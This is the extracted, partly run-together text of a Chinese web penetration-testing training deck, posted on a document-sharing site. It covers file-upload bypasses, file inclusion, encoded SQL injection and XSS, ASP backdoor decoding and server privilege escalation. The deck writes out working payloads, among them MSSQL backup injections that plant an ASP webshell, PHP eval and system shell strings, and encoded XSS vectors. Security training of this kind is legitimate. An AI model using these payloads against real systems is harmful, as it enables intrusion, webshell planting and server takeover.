web渗透培训

整理文档很辛苦,赏杯茶钱您下走!

免费阅读已结束,点击下载阅读编辑剩下 ...

阅读已结束,您可以下载文档离线阅读编辑

资源描述

Web渗透测试高级培训讲师:李良培训课程安排-第3天Web渗透高级文件上传、文件包含、加密解密服务器提权系统漏洞、第三方程序、虚拟主机提权内网渗透内网嗅探、ARP挂马、内网扫描、木马植入攻防实战文件上传漏洞介绍文件上传流程文件上传验证文件上传绕过文件上传流程介绍1、通常一个文件以HTTP协议进行上传时,将以POST请求发送至web服务器2、web服务器接收到请求后并同意后,用户与web服务器将建立连接,并传输data。3、服务器接收到data,对数据进行处理并进行文件的读写操作。文件上传验证A客户端javascript检测(通常为检测文件扩展名)B服务端MIME类型检测(检测Content-Type内容)C服务端目录路径检测(检测跟path参数相关的内容)D服务端文件扩展名检测(检测跟文件extension相关的内容)E服务端文件内容检测(检测内容是否合法或含有恶意代码)客户端验证方法及绕过(javascript)•客户端验证方法利用javascript脚本,限制上传文件扩展名及上传文件的大小等。•客户端验证绕过使用webscrab、burpsuite、Fiddler等代理工具在上传的时候对文件数据包内容更改后再提交。请看文件上传演示1upload1.php服务端验证方法及绕过(MIME)服务端验证方法及绕过(目录路径)服务端验证方法及绕过(扩展名)服务端验证方法及绕过(文件内容)文件包含漏洞利用1、包含同服务器中上传的jpg、txt、rar等文件,这个是最理想的情况了。2、包含系统的各种日志,如apache日志,文件系统日志等3、包含/proc/self/environ.4、包含由php程序本身生成的文件,缓存、模版等,开源的程序成功率大。5、利用本地包含读取PHP敏感性文件,需要PHP5以上版本。6、利用phpinfo页面getshell。文件包含漏洞利用1.普通本地包含=phpinfo.txt文件包含漏洞利用2.截断本地包含=phpinfo.php%00%00截断在php5.3.4版本上已经修复了,且GPC必须为关文件包含漏洞利用3.远程文件包含=://php.waitalone.cn/rfi.php?file=://php.waitalone.cn/rfi.php?file=php://input文件包含漏洞利用3.日志包含高级利用=?phpeval($_POST[cmd]);?=c:\\windows\\temp\\php-errors.log文件包含漏洞利用4.其它包含高级利用=/proc/self/environ若可以包含此文件,那么就可以修改浏览器的User-Agent进行写shell操作。?phpsystem(‘wget’);?加密、解密1、SQL注入中的加密(编码)这里我们只讨论注入语句中的各种编码方式:URL编码、char编码、16进制编码、unicode编码等=-1unionselect1,2,(selecttop1namefromsysobjectswherextype=char(85))=-1-1%u0075nionselect1,2,system_user=-1%75%6E%69%6F%6E%20%73%65%6C%65%63%74%201,2,system_user=1;createtable[bin_cmd]([cmd][image]);declare@asysname,@snvarchar(4000)select@a=db_name(),@s=0x62696Ebackupdatabase@atodisk=@s;insertinto[bin_cmd](cmd)values('%execute(request(chr(35)))%');declare@bsysname,@tnvarchar(4000)select@b=db_name(),@t='e:\website\aspx\1.asp'backupdatabase@btodisk=@tWITHDIFFERENTIAL,FORMAT;droptable[bin_cmd];XSS中的加密html实体编码(10进制与16进制):如把尖括号编码[]-----html十进制:<html十六进制:<javascript的八进制跟十六进制:如把尖括号编码[]-----js八进制:\74js十六进制:\x3cjsunicode编码:如把尖括号编码[]-----jsunicode:\u003curl编码base64编码:如把尖括号编码[]-----url:%3Cbase64:PA==XSS中的加密1、html实体编码(10进制与16进制):imgsrc=xonerror=alert(1)imgsrc=xonerror=alert(1)2、javascript的八进制跟十六进制:scripteval('\141\154\145\162\164\50\61\51')/scriptscripteval('\x61\x6c\x65\x72\x74\x28\x31\x29')/scriptscripteval(String.fromCharCode(97,108,101,114,116,40,48,41))/scriptXSS中的加密3、js中unicode编码及base64编码scripteval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')/scriptahref=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==test/a4、js中url编码%3Cscript%3Ealert%281%29%3C/script%3EASP木马解密及后门查找•ASP木马常见加密方式ASP木马常见加密方式为MicroSoftScriptEncoder加密,加密以后的特征字符串为:%@LANGUAGE=VBScript.Encode%%#@~^II8BAA==@#@&?nM\DRUmMrwDKr:W;O{,,O1,O,,O@#@&jk+MnC/d7……ASP木马解密及后门查找•ASP加解密工具ASP木马解密及后门查找•ASP后门查找流程解密ASP木马本地搭建ASP环境执行ASP木马并抓包清理ASP后门ASP后门查找工具EasyURLSpy,BurpSuite等抓包工具ASP后门查找实战服务器提权•1、系统漏洞利用本地溢出漏洞利用•2、第三方程序利用Serv-U提权、IIS-FTP利用、利用数据库提权•3、虚拟主机提权星外虚拟主机提权服务器提权•本地溢出的利用具体的讲,溢出漏洞是由于程序中的某个或某些输入函数(使用者输入参数)对所接收数据的边界验证不严密而造成。根据程序执行中堆栈调用原理,程序对超出边界的部分如果没有经过验证自动去掉,那么超出边界的部分就会覆盖后面的存放程序指针的数据,当执行完上面的代码,程序会自动调用指针所指向地址的命令。根据这个原理,恶意使用者就可以构造出溢出程序。服务器提权•本地溢出的利用比较知名的本地溢出漏洞为:巴西烤肉、360、pr、iis6、iis7等等参考网址:=384.html提权•Servu-U提权Serv-U是目前众多的FTP服务器软件之一。通过使用Serv-U,用户能够将任何一台PC设置成一个FTP服务器,这样,用户或其他使用者就能够使用FTP协议,通过在同一网络上的任何一台PC与FTP服务器连接,进行文件或目录的复制,移动,创建,和删除等。我总结的Serv-U提权IIS-FTP提权•IIS-FTP提权IIS6.0早期版本存在溢出漏洞,但是新版已经修复,这里我们主要讨论的是IIS-FTP的路径泄露问题。HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\MSFtpsvc\Parameters\VirtualRoots\ControlSet002这个目录可以是ControlSet001ControlSet003注明:不是用第三方软件分配出来的ftp用户,一定要是基于iis分配出来的用户。系统才会在这个目录生成ftp用户名以及用户路径。数据库提权•MSSQL提权1、注入点不会sa时,通过差异备份或者是日志备份拿shell以后再提权。2、注入点为sa时,可以直接调用系统cmd存储过程执行命令。•Mysql提权1、通过udf提权,执行系统命令。2、通过mof文件提权。数据库提权•MSSQL注入点非SAcreatetable[bin_cmd]([cmd][image]);declare@asysname,@snvarchar(4000)select@a=db_name(),@s=0x62696Ebackuplog@atodisk=@s;insertinto[bin_cmd](cmd)values('%execute(request(chr(35)))%');declare@bsysname,@tnvarchar(4000)select@b=db_name(),@t='e:\website\asp\log.asp'backuplog@btodisk=@twithinit,no_truncate;droptable[bin_cmd];createtable[bin_cmd]([cmd][image]);declare@asysname,@snvarchar(4000)select@a=db_name(),@s=0x62696Ebackupdatabase@atodisk=@s;insertinto[bin_cmd](cmd)values('%execute(request(chr(35)))%');declare@bsysname,@tnvarchar(4000)select@b=db_name(),@t='e:\website\asp\data.asp'backupdatabase@btodisk=@tWITHDIFFERENTIAL,FORMAT;droptable[bin_cmd];数据库提权•MSSQL注入点为SA

1 / 40
下载文档,编辑使用

©2015-2020 m.777doc.com 三七文档.

备案号:鲁ICP备2024069028号-1 客服联系 QQ:2149211541

×
保存成功